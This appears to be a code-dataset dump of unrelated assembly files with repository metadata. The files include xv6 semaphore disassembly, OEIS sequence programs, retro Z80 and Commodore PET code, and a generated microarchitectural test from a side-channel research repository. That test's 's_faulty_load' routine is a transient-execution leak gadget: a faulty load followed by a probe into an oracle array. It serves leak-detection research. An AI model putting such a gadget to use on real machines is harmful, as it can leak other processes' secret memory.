0c mov 0xc(%ebp),%edx 10f2: 89 50 08 mov %edx,0x8(%eax) s->count = size; 10f5: 8b 45 08 mov 0x8(%ebp),%eax 10f8: 8b 55 0c mov 0xc(%ebp),%edx 10fb: 89 50 04 mov %edx,0x4(%eax) lock_init(&s->lock); 10fe: 8b 45 08 mov 0x8(%ebp),%eax 1101: 89 04 24 mov %eax,(%esp) 1104: e8 87 fd ff ff call e90 <lock_init> } 1109: c9 leave 110a: c3 ret 0000110b <sem_init_full>: void sem_init_full(struct semaphore *s, int size){ 110b: 55 push %ebp 110c: 89 e5 mov %esp,%ebp 110e: 83 ec 18 sub $0x18,%esp s->size = size; 1111: 8b 45 08 mov 0x8(%ebp),%eax 1114: 8b 55 0c mov 0xc(%ebp),%edx 1117: 89 50 08 mov %edx,0x8(%eax) s->count= 0; 111a: 8b 45 08 mov 0x8(%ebp),%eax 111d: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) lock_init(&s->lock); 1124: 8b 45 08 mov 0x8(%ebp),%eax 1127: 89 04 24 mov %eax,(%esp) 112a: e8 61 fd ff ff call e90 <lock_init> } 112f: c9 leave 1130: c3 ret 00001131 <sem_aquire>: //Attempts to aquire a lock. If count is not //full then we will add the process to the list of //processes holding the lock. void sem_aquire(struct semaphore * s){ 1131: 55 push %ebp 1132: 89 e5 mov %esp,%ebp 1134: 83 ec 28 sub $0x28,%esp //Disable interrupts? nah //We need to only get a hold of waiters? //If count is full then place proccess on waiters list //Else add to the holding list lock_acquire(&s->lock); 1137: 8b 45 08 mov 0x8(%ebp),%eax 113a: 89 04 24 mov %eax,(%esp) 113d: e8 5c fd ff ff call e9e <lock_acquire> if(s->count == 0){ 1142: 8b 45 08 mov 0x8(%ebp),%eax 1145: 8b 40 04 mov 0x4(%eax),%eax 1148: 85 c0 test %eax,%eax 114a: 75 2f jne 117b <sem_aquire+0x4a> //printf(1, "Sem F\n"); //add proc to waiters list int tid = getpid(); 114c: e8 31 f8 ff ff call 982 <getpid> 1151: 89 45 f4 mov %eax,-0xc(%ebp) //place requesting process to sleep add_q(&s->waiters, tid); //Add process to queue 1154: 8b 45 08 mov 0x8(%ebp),%eax 1157: 8d 50 0c lea 0xc(%eax),%edx 115a: 8b 45 f4 mov -0xc(%ebp),%eax 115d: 89 44 24 04 mov %eax,0x4(%esp) 1161: 89 14 24 mov %edx,(%esp) 1164: e8 8a fe ff ff call ff3 <add_q> //printf(1, " Added to waiters semaphore with size: %d\n", s->size); lock_release(&s->lock); 1169: 8b 45 08 mov 0x8(%ebp),%eax 116c: 89 04 24 mov %eax,(%esp) 116f: e8 4a fd ff ff call ebe <lock_release> tsleep(); 1174: e8 39 f8 ff ff call 9b2 <tsleep> 1179: eb 1a jmp 1195 <sem_aquire+0x64> } else{ //printf(1, "Sem A\n"); s->count--; 117b: 8b 45 08 mov 0x8(%ebp),%eax 117e: 8b 40 04 mov 0x4(%eax),%eax 1181: 8d 50 ff lea -0x1(%eax),%edx 1184: 8b 45 08 mov 0x8(%ebp),%eax 1187: 89 50 04 mov %edx,0x4(%eax) lock_release(&s->lock); 118a: 8b 45 08 mov 0x8(%ebp),%eax 118d: 89 04 24 mov %eax,(%esp) 1190: e8 29 fd ff ff call ebe <lock_release> } } 1195: c9 leave 1196: c3 ret 00001197 <sem_signal>: //Removes a process from a lock and decreases count //to indicate that more process can hold the lock. void sem_signal(struct semaphore * s){ 1197: 55 push %ebp 1198: 89 e5 mov %esp,%ebp 119a: 83 ec 28 sub $0x28,%esp //printf(1, "Sem R\n"); //If count is full then place proccess on waiters list lock_acquire(&s->lock); 119d: 8b 45 08 mov 0x8(%ebp),%eax 11a0: 89 04 24 mov %eax,(%esp) 11a3: e8 f6 fc ff ff call e9e <lock_acquire> if(s->count < s->size){ 11a8: 8b 45 08 mov 0x8(%ebp),%eax 11ab: 8b 50 04 mov 0x4(%eax),%edx 11ae: 8b 45 08 mov 0x8(%ebp),%eax 11b1: 8b 40 08 mov 0x8(%eax),%eax 11b4: 39 c2 cmp %eax,%edx 11b6: 7d 0f jge 11c7 <sem_signal+0x30> s->count++; 11b8: 8b 45 08 mov 0x8(%ebp),%eax 11bb: 8b 40 04 mov 0x4(%eax),%eax 11be: 8d 50 01 lea 0x1(%eax),%edx 11c1: 8b 45 08 mov 0x8(%ebp),%eax 11c4: 89 50 04 mov %edx,0x4(%eax) } int tid; tid = pop_q(&s->waiters); 11c7: 8b 45 08 mov 0x8(%ebp),%eax 11ca: 83 c0 0c add $0xc,%eax 11cd: 89 04 24 mov %eax,(%esp) 11d0: e8 98 fe ff ff call 106d <pop_q> 11d5: 89 45 f4 mov %eax,-0xc(%ebp) if(tid != -1){ 11d8: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 11dc: 74 2e je 120c <sem_signal+0x75> //printf(1, "Sem A\n"); twakeup(tid); 11de: 8b 45 f4 mov -0xc(%ebp),%eax 11e1: 89 04 24 mov %eax,(%esp) 11e4: e8 d1 f7 ff ff call 9ba <twakeup> s->count--; 11e9: 8b 45 08 mov 0x8(%ebp),%eax 11ec: 8b 40 04 mov 0x4(%eax),%eax 11ef: 8d 50 ff lea -0x1(%eax),%edx 11f2: 8b 45 08 mov 0x8(%ebp),%eax 11f5: 89 50 04 mov %edx,0x4(%eax) if(s->count < 0) s->count = 0; 11f8: 8b 45 08 mov 0x8(%ebp),%eax 11fb: 8b 40 04 mov 0x4(%eax),%eax 11fe: 85 c0 test %eax,%eax 1200: 79 0a jns 120c <sem_signal+0x75> 1202: 8b 45 08 mov 0x8(%ebp),%eax 1205: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) } lock_release(&s->lock); 120c: 8b 45 08 mov 0x8(%ebp),%eax 120f: 89 04 24 mov %eax,(%esp) 1212: e8 a7 fc ff ff call ebe <lock_release> 1217: c9 leave 1218: c3 ret
37.506517
81
0.440684
09ba763aa52b064d6b9e60b2a78cb15a45892bc3
532
asm
Assembly
oeis/175/A175221.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/175/A175221.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/175/A175221.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A175221: a(n) = prime(n) + 4. ; Submitted by Jamie Morken(s3) ; 6,7,9,11,15,17,21,23,27,33,35,41,45,47,51,57,63,65,71,75,77,83,87,93,101,105,107,111,113,117,131,135,141,143,153,155,161,167,171,177,183,185,195,197,201,203,215,227,231,233,237,243,245,255,261,267,273,275,281,285,287,297,311,315,317,321,335,341,351,353,357,363,371,377,383,387,393,401,405,413,423,425,435,437,443,447,453,461,465,467,471,483,491,495,503,507,513,525,527,545 mul $0,2 max $0,1 seq $0,173919 ; Numbers that are prime or one less than a prime. add $0,4
59.111111
374
0.706767
47e181573e97b988455b27b14773f94775cc9343
55
asm
Assembly
test/assembler/data_label_undefined/data/program.asm
jfitz/virtual-processor
b6aa15e7ed210ab862c9c80bbc7c46859ab50501
[ "MIT" ]
null
null
null
test/assembler/data_label_undefined/data/program.asm
jfitz/virtual-processor
b6aa15e7ed210ab862c9c80bbc7c46859ab50501
[ "MIT" ]
null
null
null
test/assembler/data_label_undefined/data/program.asm
jfitz/virtual-processor
b6aa15e7ed210ab862c9c80bbc7c46859ab50501
[ "MIT" ]
null
null
null
MESSAGE: BYTE 72 MAIN: PUSH BYTE @MESSAGE2 OUT EXIT
9.166667
25
0.727273
abc7cc95b5fbeea6bd8ff2651f39a33112414010
552
asm
Assembly
oeis/017/A017454.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/017/A017454.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/017/A017454.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A017454: a(n) = (11*n + 5)^6. ; 15625,16777216,387420489,3010936384,13841287201,46656000000,128100283921,304006671424,646990183449,1265319018496,2313060765625,4001504141376,6611856250609,10509215371264,16157819263041,24137569000000,35161828327081,50096498540544,69980368892329,96046742518336,129746337890625,172771465793536,227081481823729,294929514414144,378890468381881,481890304000000,607236591593241,758650341657664,940299110504209,1156831381426176,1413412221390625,1715760213253696,2070185663499849,2483630085505024 mul $0,11 add $0,5 pow $0,6
78.857143
490
0.878623
e42ccf6b0d53ce715779dd3c02051dbd81261c93
3,757
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1061.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1061.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1061.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %rax push %rbp push %rdi push %rdx // Faulty Load lea addresses_UC+0x55b1, %r10 nop nop nop cmp $45927, %rdx vmovups (%r10), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %rbp lea oracles, %rdx and $0xff, %rbp shlq $12, %rbp mov (%rdx,%rbp,1), %rbp pop %rdx pop %rdi pop %rbp pop %rax pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC', 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC', 'congruent': 0}} <gen_prepare_buffer> {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
83.488889
2,999
0.66436
85a96c5906a3ece7f76c7ceb1171559b2f8488ee
696
asm
Assembly
asm-tests/extreme-test.asm
TheShoutingParrot/jaz80
f15b35fda32085857aeabfc78c770414237baa4e
[ "0BSD" ]
null
null
null
asm-tests/extreme-test.asm
TheShoutingParrot/jaz80
f15b35fda32085857aeabfc78c770414237baa4e
[ "0BSD" ]
null
null
null
asm-tests/extreme-test.asm
TheShoutingParrot/jaz80
f15b35fda32085857aeabfc78c770414237baa4e
[ "0BSD" ]
null
null
null
org 100h stackpointer equ AAAAh nop ; 0x000 ld hl, stackpointer ; 0x001 ld sp, hl ; 0x004 ld hl, 0000h ; 0x005 nop ; 0x008 call test_print ; 0x009 nop ; 0x00C nop ; 0x00D nop ; 0x00E nop ; 0x00F jp exit ; 0x010 ; tests the cp/m bios printing test_print: nop ; 0x013 ld c, 9 ; 0x014 ld de, printteststr ; 0x016 call 5 ; 0x019 in a, 0 ; 0x01B ret ; 0x01D exit: ld de, exit_str call 5 nop nop nop jp 0 ds 10h ; this padding is just for testing purposes ; here are some strings that the program will/may use printteststr db "testing print", Ah, "$" exit_str db "program exiting...", Ah, "$"
13.384615
53
0.600575
2d0155071abc0d781ace0515f6a3bd43ebf34093
1,918
asm
Assembly
asm/data.asm
b00lduck/cbmpet-asm
82c886fec30eb2720caa4b49a09fc1ae3bd9d2df
[ "MIT" ]
null
null
null
asm/data.asm
b00lduck/cbmpet-asm
82c886fec30eb2720caa4b49a09fc1ae3bd9d2df
[ "MIT" ]
null
null
null
asm/data.asm
b00lduck/cbmpet-asm
82c886fec30eb2720caa4b49a09fc1ae3bd9d2df
[ "MIT" ]
null
null
null
data_text: .pc = data_text "Text constants" hello2: .text "vintage COMMODORE PET assembly code" .byte 0 hello3: .text " by Graf Hardt and Dr.Ergo" .byte 0 hello4: .text " on a COMMODORE PET" .byte 0 text1: .text "Elapsed time: 00:00.00" .byte 0 text2: .text " " .text "b00lduck proudly presents: pet-a-byte: a short presentation of oldschool technology by graf hardt and dr.ergo. a scroller is in the house. yeeeehaw.... over and out " !: .pc = !- "Image: b00lduck logo" image2: :ConvertPicture("../data/b00lduck.png") !: .pc = !- "Image: verfassungsschutz logo" image3: :ConvertPicture("../data/demo1.png") !: .pc = !- "Image: Scroller background" image4: :ConvertPicture("../data/scroller_bg.png") !: .pc = !- "Image: Donut car 1" donutcar1: :ConvertPicture("../data/DonutCar1.png") !: .pc = !- "Image: Donut car 2" donutcar2: :ConvertPicture("../data/DonutCar2.png") !: .pc = !- "Image: Donut car 3" donutcar3: :ConvertPicture("../data/DonutCar3.png") !: .pc = !- "Image: Bus" bus: :ConvertPicture("../data/Bus.png") !: .pc = !- "Font: 5x6" font1: :ConvertPicture("../data/font.png") !: .pc = !- "End of data" .macro ConvertPicture(FILENAME) { .var data = LoadPicture(FILENAME) .for (var y = 0; y < 16; y++) .for (var x = 0; x < 22; x++) { .var sx = x * 4 .var sy = y * 2 .var value = 0 .eval value += data.getPixel(sx,sy) & 1 << 7 .eval value += data.getPixel(sx + 1,sy) & 1 << 6 .eval value += data.getPixel(sx,sy + 1) & 1 << 5 .eval value += data.getPixel(sx + 1,sy + 1) & 1 << 4 .eval value += data.getPixel(sx + 2,sy) & 1 << 3 .eval value += data.getPixel(sx + 3,sy) & 1 << 2 .eval value += data.getPixel(sx + 2,sy + 1) & 1 << 1 .eval value += data.getPixel(sx + 3,sy + 1) & 1 << 0 .byte value } }
29.507692
195
0.563608
0c00cb7b3a2043c62bed94106ee82a59a0e5234d
445
asm
Assembly
programs/oeis/323/A323170.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/323/A323170.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/323/A323170.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A323170: a(n) = 1 if (2*phi(n)) < n, 0 otherwise, where phi is Euler totient function (A000010). ; 0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1 mov $2,$0 seq $2,10 ; Euler totient function phi(n): count numbers <= n and prime to n. lpb $0 add $1,1 mul $2,2 mov $0,$2 lpe mov $0,$1
37.083333
201
0.564045
5dec6e70a562548638aa28ca8e5aefd01448627e
482
asm
Assembly
basic/17.2byte_div.asm
boa9448/assembly_study
8416d10b3abce6c3b4b8bd0a11be7d9a05ea486a
[ "MIT" ]
null
null
null
basic/17.2byte_div.asm
boa9448/assembly_study
8416d10b3abce6c3b4b8bd0a11be7d9a05ea486a
[ "MIT" ]
null
null
null
basic/17.2byte_div.asm
boa9448/assembly_study
8416d10b3abce6c3b4b8bd0a11be7d9a05ea486a
[ "MIT" ]
null
null
null
%include "io64.inc" section .text global CMAIN CMAIN: ;write your code here ;div param1(2byte) => dx:ax = ax / param1 ;param1은 레지스터만 허용된다 ;연산결과는 dx와 ax에 저장된다 ;몫은 ax, 나머지는 dx에 들어간다 mov ax, 0x5678 mov bx, 0x4567 div bx PRINT_HEX 2, ax NEWLINE PRINT_HEX 2, dx NEWLINE xor rax, rax ret section .data msg_2byte db "2byte result : ", 0x00 msg_4byte db "4byte result : ", 0x00
16.066667
45
0.560166
b32e8d00c25c577609999c680cb5291eb67478c5
64
asm
Assembly
boot/kernel_entry.asm
crazyxy/tiny-operating-system
e59c1499df43a6685ebdcba62cb4e5fd13323bbf
[ "MIT" ]
null
null
null
boot/kernel_entry.asm
crazyxy/tiny-operating-system
e59c1499df43a6685ebdcba62cb4e5fd13323bbf
[ "MIT" ]
null
null
null
boot/kernel_entry.asm
crazyxy/tiny-operating-system
e59c1499df43a6685ebdcba62cb4e5fd13323bbf
[ "MIT" ]
null
null
null
[bits 32] [extern kernel_main] _start: call kernel_main jmp $
9.142857
20
0.734375
7565abe41178829f0591d65de25193676c57add7
2,074
asm
Assembly
asm/inst_test_i1.asm
yoshiki9636/my-riscv-rv32i
f2a48443051d68c4b5d74b3442226a20ddfe41b0
[ "MIT" ]
1
2021-08-17T04:29:30.000Z
2021-08-17T04:29:30.000Z
asm/inst_test_i1.asm
yoshiki9636/my-riscv-rv32i
f2a48443051d68c4b5d74b3442226a20ddfe41b0
[ "MIT" ]
null
null
null
asm/inst_test_i1.asm
yoshiki9636/my-riscv-rv32i
f2a48443051d68c4b5d74b3442226a20ddfe41b0
[ "MIT" ]
null
null
null
;* ;* My RISC-V RV32I CPU ;* Test Code IF/ID Instructions : No.1 ;* RV32I code ;* @auther Yoshiki Kurokawa <yoshiki.k963@gmail.com> ;* @copylight 2021 Yoshiki Kurokawa ;* @license https://opensource.org/licenses/MIT MIT license ;* @version 0.1 ;* nop nop ; clear LED to black addi x1, x0, 7 ; LED value lui x2, 0xc0000 ; LED address sb x1, 0x0(x2) ; set LED ; test lui :fail_test1 lui x3, 0x007ef ; test value srli x3, x3, 12 ori x4, x0, 0x7ef bne x4, x3, fail_test1 ; next value addi x1, x0, 6 ; LED value sb x1, 0x0(x2) ; set LED ; test auipc :fail_test2 auipc x5, 0x12345 ; test value lui x6, 0x12345 ; check value addi x6, x6, 44 bne x5, x6, fail_test2 ; next value addi x1, x0, 5 ; LED value sb x1, 0x0(x2) ; set LED ; test addi :fail_test3 lui x7, 0x0dead ; test value ori x7, x7, 0x123 ; addi x7, x7, 0x456 ; test lui x8, 0x0dead ; check value ori x8, x8, 0x579 ; check value bne x7, x8, fail_test3 ; next value addi x1, x0, 4 ; LED value sb x1, 0x0(x2) ; set LED ; test slti :fail_test4 ori x9, x0, 1 ; sub x9, x0, x9 ; make -1 slti x10, x9, 0x235 ; test 1 ori x11, x0, 1 ; check 1 bne x10, x11, fail_test4 ; next value addi x1, x0, 3 ; LED value sb x1, 0x0(x2) ; set LED :fail_test5 ori x9, x0, 0x234 ; slti x10, x9, 0x234 ; test 0 and x11, x0, x0 ; check 2 bne x10, x11, fail_test5 ; next value addi x1, x0, 2 ; LED value sb x1, 0x0(x2) ; set LED ; test sltiu :fail_test6 ori x12, x0, 1 ; sub x12, x0, x12 ; make -1 sltiu x13, x12, 0xf35 ; test 0 ori x14, x0, 0 ; check 1 bne x13, x14, fail_test6 ; next value addi x1, x0, 1 ; LED value sb x1, 0x0(x2) ; set LED :fail_test7 ori x12, x0, 0x233 ; slti x13, x12, 0x234 ; test 1 ori x14, x0, 1 ; bne x13, x14, fail_test7 addi x1, x0, 0 ; LED value sb x1, 0x0(x2) ; set LED ; test finished nop nop lui x2, 01000 ; loop max ;ori x2, x0, 10 ; small loop for sim and x3, x0, x3 ; LED value and x4, x0, x4 ; lui x4, 0xc0000 ; LED address :label_led and x1, x0, x1 ; loop counter :label_waitloop addi x1, x1, 1 blt x1, x2, label_waitloop addi x3, x3, 1 sb x3, 0x0(x4) jalr x0, x0, label_led nop nop nop nop
20.534653
64
0.670203
1a98c1d8507c35199267f542ca3648eba43696b1
614
asm
Assembly
oeis/238/A238496.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/238/A238496.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/238/A238496.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A238496: Number of prime factors in A052129(n). ; Submitted by Jamie Morken(s2) ; 0,0,1,3,8,17,36,73,149,300,602,1205,2413,4827,9656,19314,38632,77265,154533,309067,618137,1236276,2472554,4945109,9890222,19780446,39560894,79121791,158243585,316487171,632974345,1265948691,2531897387 mov $3,$0 mov $5,$0 lpb $3 mov $0,$5 add $1,$2 sub $3,1 sub $0,$3 mov $4,$0 mov $6,$0 lpb $6 mov $0,$4 mov $2,0 sub $6,1 sub $0,$6 lpb $0 seq $0,32742 ; a(1) = 1; for n > 1, a(n) = largest proper divisor of n. sub $0,1 add $2,1 lpe lpe mul $1,2 lpe mov $0,$1 div $0,2
21.172414
202
0.614007
da1e9075e174e9fb5657a258c0ccbb475b8587c9
225
asm
Assembly
libsrc/_DEVELOPMENT/adt/wv_stack/c/sdcc_iy/wv_stack_reserve_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/adt/wv_stack/c/sdcc_iy/wv_stack_reserve_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/adt/wv_stack/c/sdcc_iy/wv_stack_reserve_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; int wv_stack_reserve_callee(wv_stack_t *s, size_t n) SECTION code_clib SECTION code_adt_wv_stack PUBLIC _wv_stack_reserve_callee EXTERN _w_vector_reserve_callee defc _wv_stack_reserve_callee = _w_vector_reserve_callee
18.75
56
0.871111
d0b3f7bd65a3c64f7469963decff46b156b00980
795
asm
Assembly
oeis/142/A142293.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/142/A142293.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/142/A142293.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A142293: Primes congruent to 3 mod 44. ; Submitted by Jon Maiga ; 3,47,179,223,311,443,487,619,751,839,883,971,1103,1279,1367,1499,1543,2027,2203,2423,2467,2687,2731,2819,3083,3259,3347,3391,3919,4007,4051,4139,4271,4447,4799,4931,5107,5503,5591,5987,6163,6427,6691,6779,6823,6911,7043,7219,7307,7351,7703,7879,8011,8231,8363,8539,8627,8803,9067,9199,9419,9463,9551,9859,10079,10211,10343,10607,10651,10739,11003,11047,11311,11399,11443,11839,11927,11971,12323,12763,12983,13159,13291,13687,13907,14083,14303,14347,14479,14699,14831,15139,15227,15271,15359,15667 mov $2,$0 pow $2,2 mov $4,2 lpb $2 mov $3,$4 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,0 cmp $1,$0 mul $2,$1 sub $2,1 add $4,44 lpe mov $0,$4 add $0,1
37.857143
498
0.727044
220098180341588b6eea160b125c348b2e63de0e
125
asm
Assembly
gfx/pokemon/krabby/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
gfx/pokemon/krabby/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
gfx/pokemon/krabby/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
frame 5, 18 frame 0, 06 setrepeat 2 frame 0, 06 frame 1, 04 frame 2, 03 frame 3, 04 frame 4, 03 dorepeat 3 endanim
11.363636
12
0.656
29ebccb3f6866d66f78c15568e5d56720cf4d7e9
147
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/tool/cos2/chip/ys_msge0.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/tool/cos2/chip/ys_msge0.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/tool/cos2/chip/ys_msge0.asm
prismotizm/gigaleak
